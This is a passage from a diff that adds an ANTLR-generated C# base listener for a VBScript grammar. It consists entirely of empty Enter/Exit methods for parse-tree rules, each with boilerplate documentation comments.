VBScriptParser.RedimSubStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitRedimSubStmt([NotNull] VBScriptParser.RedimSubStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterResetStmt([NotNull] VBScriptParser.ResetStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitResetStmt([NotNull] VBScriptParser.ResetStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterResumeStmt([NotNull] VBScriptParser.ResumeStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitResumeStmt([NotNull] VBScriptParser.ResumeStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterReturnStmt([NotNull] VBScriptParser.ReturnStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitReturnStmt([NotNull] VBScriptParser.ReturnStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterRmdirStmt([NotNull] VBScriptParser.RmdirStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitRmdirStmt([NotNull] VBScriptParser.RmdirStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterRsetStmt([NotNull] VBScriptParser.RsetStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitRsetStmt([NotNull] VBScriptParser.RsetStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterSavepictureStmt([NotNull] VBScriptParser.SavepictureStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitSavepictureStmt([NotNull] VBScriptParser.SavepictureStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterSaveSettingStmt([NotNull] VBScriptParser.SaveSettingStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitSaveSettingStmt([NotNull] VBScriptParser.SaveSettingStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterSeekStmt([NotNull] VBScriptParser.SeekStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitSeekStmt([NotNull] VBScriptParser.SeekStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterSelectCaseStmt([NotNull] VBScriptParser.SelectCaseStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitSelectCaseStmt([NotNull] VBScriptParser.SelectCaseStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterSC_Case([NotNull] VBScriptParser.SC_CaseContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitSC_Case([NotNull] VBScriptParser.SC_CaseContext context) { } + /// + /// Enter a parse tree produced by the caseCondElse + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCaseCondElse([NotNull] VBScriptParser.CaseCondElseContext context) { } + /// + /// Exit a parse tree produced by the caseCondElse + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCaseCondElse([NotNull] VBScriptParser.CaseCondElseContext context) { } + /// + /// Enter a parse tree produced by the caseCondExpr + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCaseCondExpr([NotNull] VBScriptParser.CaseCondExprContext context) { } + /// + /// Exit a parse tree produced by the caseCondExpr + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCaseCondExpr([NotNull] VBScriptParser.CaseCondExprContext context) { } + /// + /// Enter a parse tree produced by the caseCondExprIs + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCaseCondExprIs([NotNull] VBScriptParser.CaseCondExprIsContext context) { } + /// + /// Exit a parse tree produced by the caseCondExprIs + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCaseCondExprIs([NotNull] VBScriptParser.CaseCondExprIsContext context) { } + /// + /// Enter a parse tree produced by the caseCondExprValue + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCaseCondExprValue([NotNull] VBScriptParser.CaseCondExprValueContext context) { } + /// + /// Exit a parse tree produced by the caseCondExprValue + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCaseCondExprValue([NotNull] VBScriptParser.CaseCondExprValueContext context) { } + /// + /// Enter a parse tree produced by the caseCondExprTo + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCaseCondExprTo([NotNull] VBScriptParser.CaseCondExprToContext context) { } + /// + /// Exit a parse tree produced by the caseCondExprTo + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCaseCondExprTo([NotNull] VBScriptParser.CaseCondExprToContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterSendkeysStmt([NotNull] VBScriptParser.SendkeysStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitSendkeysStmt([NotNull] VBScriptParser.SendkeysStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterSetattrStmt([NotNull] VBScriptParser.SetattrStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitSetattrStmt([NotNull] VBScriptParser.SetattrStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterSetStmt([NotNull] VBScriptParser.SetStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitSetStmt([NotNull] VBScriptParser.SetStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterStopStmt([NotNull] VBScriptParser.StopStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitStopStmt([NotNull] VBScriptParser.StopStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterSubStmt([NotNull] VBScriptParser.SubStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitSubStmt([NotNull] VBScriptParser.SubStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterTimeStmt([NotNull] VBScriptParser.TimeStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitTimeStmt([NotNull] VBScriptParser.TimeStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterTypeStmt([NotNull] VBScriptParser.TypeStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitTypeStmt([NotNull] VBScriptParser.TypeStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterTypeStmt_Element([NotNull] VBScriptParser.TypeStmt_ElementContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitTypeStmt_Element([NotNull] VBScriptParser.TypeStmt_ElementContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterTypeOfStmt([NotNull] VBScriptParser.TypeOfStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitTypeOfStmt([NotNull] VBScriptParser.TypeOfStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterUnloadStmt([NotNull] VBScriptParser.UnloadStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitUnloadStmt([NotNull] VBScriptParser.UnloadStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterUnlockStmt([NotNull] VBScriptParser.UnlockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitUnlockStmt([NotNull] VBScriptParser.UnlockStmtContext context) { } + /// + /// Enter a parse tree produced by the vsAssign + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsAssign([NotNull] VBScriptParser.VsAssignContext context) { } + /// + /// Exit a parse tree produced by the vsAssign + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsAssign([NotNull] VBScriptParser.VsAssignContext context) { } + /// + /// Enter a parse tree produced by the vsStruct + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsStruct([NotNull] VBScriptParser.VsStructContext context) { } + /// + /// Exit a parse tree produced by the vsStruct + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsStruct([NotNull] VBScriptParser.VsStructContext context) { } + /// + /// Enter a parse tree produced by the vsAddressOf + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsAddressOf([NotNull] VBScriptParser.VsAddressOfContext context) { } + /// + /// Exit a parse tree produced by the vsAddressOf + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsAddressOf([NotNull] VBScriptParser.VsAddressOfContext context) { } + /// + /// Enter a parse tree produced by the vsTypeOf + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsTypeOf([NotNull] VBScriptParser.VsTypeOfContext context) { } + /// + /// Exit a parse tree produced by the vsTypeOf + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsTypeOf([NotNull] VBScriptParser.VsTypeOfContext context) { } + /// + /// Enter a parse tree produced by the vsNew + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsNew([NotNull] VBScriptParser.VsNewContext context) { } + /// + /// Exit a parse tree produced by the vsNew + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsNew([NotNull] VBScriptParser.VsNewContext context) { } + /// + /// Enter a parse tree produced by the vsICS + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsICS([NotNull] VBScriptParser.VsICSContext context) { } + /// + /// Exit a parse tree produced by the vsICS + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsICS([NotNull] VBScriptParser.VsICSContext context) { } + /// + /// Enter a parse tree produced by the vsLiteral + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsLiteral([NotNull] VBScriptParser.VsLiteralContext context) { } + /// + /// Exit a parse tree produced by the vsLiteral + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsLiteral([NotNull] VBScriptParser.VsLiteralContext context) { } + /// + /// Enter a parse tree produced by the vsUnaryOperation + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsUnaryOperation([NotNull] VBScriptParser.VsUnaryOperationContext context) { } + /// + /// Exit a parse tree produced by the vsUnaryOperation + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsUnaryOperation([NotNull] VBScriptParser.VsUnaryOperationContext context) { } + /// + /// Enter a parse tree produced by the vsDualOperation + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsDualOperation([NotNull] VBScriptParser.VsDualOperationContext context) { } + /// + /// Exit a parse tree produced by the vsDualOperation + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsDualOperation([NotNull] VBScriptParser.VsDualOperationContext context) { } + /// + /// Enter a parse tree produced by the vsMid + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsMid([NotNull] VBScriptParser.VsMidContext context) { } + /// + /// Exit a parse tree produced by the vsMid + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsMid([NotNull] VBScriptParser.VsMidContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVariableStmt([NotNull] VBScriptParser.VariableStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVariableStmt([NotNull] VBScriptParser.VariableStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVariableListStmt([NotNull] VBScriptParser.VariableListStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVariableListStmt([NotNull] VBScriptParser.VariableListStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVariableSubStmt([NotNull] VBScriptParser.VariableSubStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVariableSubStmt([NotNull] VBScriptParser.VariableSubStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterWhileWendStmt([NotNull] VBScriptParser.WhileWendStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitWhileWendStmt([NotNull] VBScriptParser.WhileWendStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterWidthStmt([NotNull] VBScriptParser.WidthStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitWidthStmt([NotNull] VBScriptParser.WidthStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterWithStmt([NotNull] VBScriptParser.WithStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitWithStmt([NotNull] VBScriptParser.WithStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterWriteStmt([NotNull] VBScriptParser.WriteStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitWriteStmt([NotNull] VBScriptParser.WriteStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterExplicitCallStmt([NotNull] VBScriptParser.ExplicitCallStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitExplicitCallStmt([NotNull] VBScriptParser.ExplicitCallStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterECS_ProcedureCall([NotNull] VBScriptParser.ECS_ProcedureCallContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitECS_ProcedureCall([NotNull] VBScriptParser.ECS_ProcedureCallContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterECS_MemberProcedureCall([NotNull] VBScriptParser.ECS_MemberProcedureCallContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitECS_MemberProcedureCall([NotNull] VBScriptParser.ECS_MemberProcedureCallContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterImplicitCallStmt_InBlock([NotNull] VBScriptParser.ImplicitCallStmt_InBlockContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitImplicitCallStmt_InBlock([NotNull] VBScriptParser.ImplicitCallStmt_InBlockContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterNoParenthesisArgs([NotNull] VBScriptParser.NoParenthesisArgsContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitNoParenthesisArgs([NotNull] VBScriptParser.NoParenthesisArgsContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterICS_B_ProcedureCall([NotNull] VBScriptParser.ICS_B_ProcedureCallContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitICS_B_ProcedureCall([NotNull] VBScriptParser.ICS_B_ProcedureCallContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterICS_B_MemberProcedureCall([NotNull] VBScriptParser.ICS_B_MemberProcedureCallContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitICS_B_MemberProcedureCall([NotNull] VBScriptParser.ICS_B_MemberProcedureCallContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterImplicitCallStmt_InStmt([NotNull] VBScriptParser.ImplicitCallStmt_InStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitImplicitCallStmt_InStmt([NotNull] VBScriptParser.ImplicitCallStmt_InStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterICS_S_VariableOrProcedureCall([NotNull] VBScriptParser.ICS_S_VariableOrProcedureCallContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitICS_S_VariableOrProcedureCall([NotNull] VBScriptParser.ICS_S_VariableOrProcedureCallContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterICS_S_ProcedureOrArrayCall([NotNull] VBScriptParser.ICS_S_ProcedureOrArrayCallContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitICS_S_ProcedureOrArrayCall([NotNull] VBScriptParser.ICS_S_ProcedureOrArrayCallContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterICS_S_NestedProcedureCall([NotNull] VBScriptParser.ICS_S_NestedProcedureCallContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitICS_S_NestedProcedureCall([NotNull] VBScriptParser.ICS_S_NestedProcedureCallContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterICS_S_MembersCall([NotNull] VBScriptParser.ICS_S_MembersCallContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitICS_S_MembersCall([NotNull] VBScriptParser.ICS_S_MembersCallContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterICS_S_MemberCall([NotNull] VBScriptParser.ICS_S_MemberCallContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitICS_S_MemberCall([NotNull] VBScriptParser.ICS_S_MemberCallContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterICS_S_DefaultMemberAccess([NotNull] VBScriptParser.ICS_S_DefaultMemberAccessContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitICS_S_DefaultMemberAccess([NotNull] VBScriptParser.ICS_S_DefaultMemberAccessContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterArgsCall([NotNull] VBScriptParser.ArgsCallContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitArgsCall([NotNull] VBScriptParser.ArgsCallContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterArgCall([NotNull] VBScriptParser.ArgCallContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitArgCall([NotNull] VBScriptParser.ArgCallContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterDefaultMemberAccess([NotNull] VBScriptParser.DefaultMemberAccessContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitDefaultMemberAccess([NotNull] VBScriptParser.DefaultMemberAccessContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterArgList([NotNull] VBScriptParser.ArgListContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitArgList([NotNull] VBScriptParser.ArgListContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterArg([NotNull] VBScriptParser.ArgContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitArg([NotNull] VBScriptParser.ArgContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterArgDefaultValue([NotNull] VBScriptParser.ArgDefaultValueContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitArgDefaultValue([NotNull] VBScriptParser.ArgDefaultValueContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterSubscripts([NotNull] VBScriptParser.SubscriptsContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitSubscripts([NotNull] VBScriptParser.SubscriptsContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterSubscript([NotNull] VBScriptParser.SubscriptContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitSubscript([NotNull] VBScriptParser.SubscriptContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterAmbiguousIdentifier([NotNull] VBScriptParser.AmbiguousIdentifierContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitAmbiguousIdentifier([NotNull] VBScriptParser.AmbiguousIdentifierContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterAsTypeClause([NotNull] VBScriptParser.AsTypeClauseContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitAsTypeClause([NotNull] VBScriptParser.AsTypeClauseContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterBaseType([NotNull] VBScriptParser.BaseTypeContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitBaseType([NotNull] VBScriptParser.BaseTypeContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCertainIdentifier([NotNull] VBScriptParser.CertainIdentifierContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCertainIdentifier([NotNull] VBScriptParser.CertainIdentifierContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterComparisonOperator([NotNull] VBScriptParser.ComparisonOperatorContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitComparisonOperator([NotNull] VBScriptParser.ComparisonOperatorContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterComplexType([NotNull] VBScriptParser.ComplexTypeContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitComplexType([NotNull] VBScriptParser.ComplexTypeContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterFieldLength([NotNull] VBScriptParser.FieldLengthContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitFieldLength([NotNull] VBScriptParser.FieldLengthContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLetterrange([NotNull] VBScriptParser.LetterrangeContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLetterrange([NotNull] VBScriptParser.LetterrangeContext context) { } + /// + /// Enter a parse tree produced by the ltColor + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtColor([NotNull] VBScriptParser.LtColorContext context) { } + /// + /// Exit a parse tree produced by the ltColor + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtColor([NotNull] VBScriptParser.LtColorContext context) { } + /// + /// Enter a parse tree produced by the ltOctal + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtOctal([NotNull] VBScriptParser.LtOctalContext context) { } + /// + /// Exit a parse tree produced by the ltOctal + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtOctal([NotNull] VBScriptParser.LtOctalContext context) { } + /// + /// Enter a parse tree produced by the ltDate + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtDate([NotNull] VBScriptParser.LtDateContext context) { } + /// + /// Exit a parse tree produced by the ltDate + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtDate([NotNull] VBScriptParser.LtDateContext context) { } + /// + /// Enter a parse tree produced by the ltString + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtString([NotNull] VBScriptParser.LtStringContext context) { } + /// + /// Exit a parse tree produced by the ltString + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtString([NotNull] VBScriptParser.LtStringContext context) { } + /// + /// Enter a parse tree produced by the ltDouble + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtDouble([NotNull] VBScriptParser.LtDoubleContext context) { } + /// + /// Exit a parse tree produced by the ltDouble + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtDouble([NotNull] VBScriptParser.LtDoubleContext context) { } + /// + /// Enter a parse tree produced by the ltDelimited + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtDelimited([NotNull] VBScriptParser.LtDelimitedContext context) { } + /// + /// Exit a parse tree produced by the ltDelimited + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtDelimited([NotNull] VBScriptParser.LtDelimitedContext context) { } + /// + /// Enter a parse tree produced by the ltFilenumber + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtFilenumber([NotNull] VBScriptParser.LtFilenumberContext context) { } + /// + /// Exit a parse tree produced by the ltFilenumber + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtFilenumber([NotNull] VBScriptParser.LtFilenumberContext context) { } + /// + /// Enter a parse tree produced by the ltInteger + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtInteger([NotNull] VBScriptParser.LtIntegerContext context) { } + /// + /// Exit a parse tree produced by the ltInteger + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtInteger([NotNull] VBScriptParser.LtIntegerContext context) { } + /// 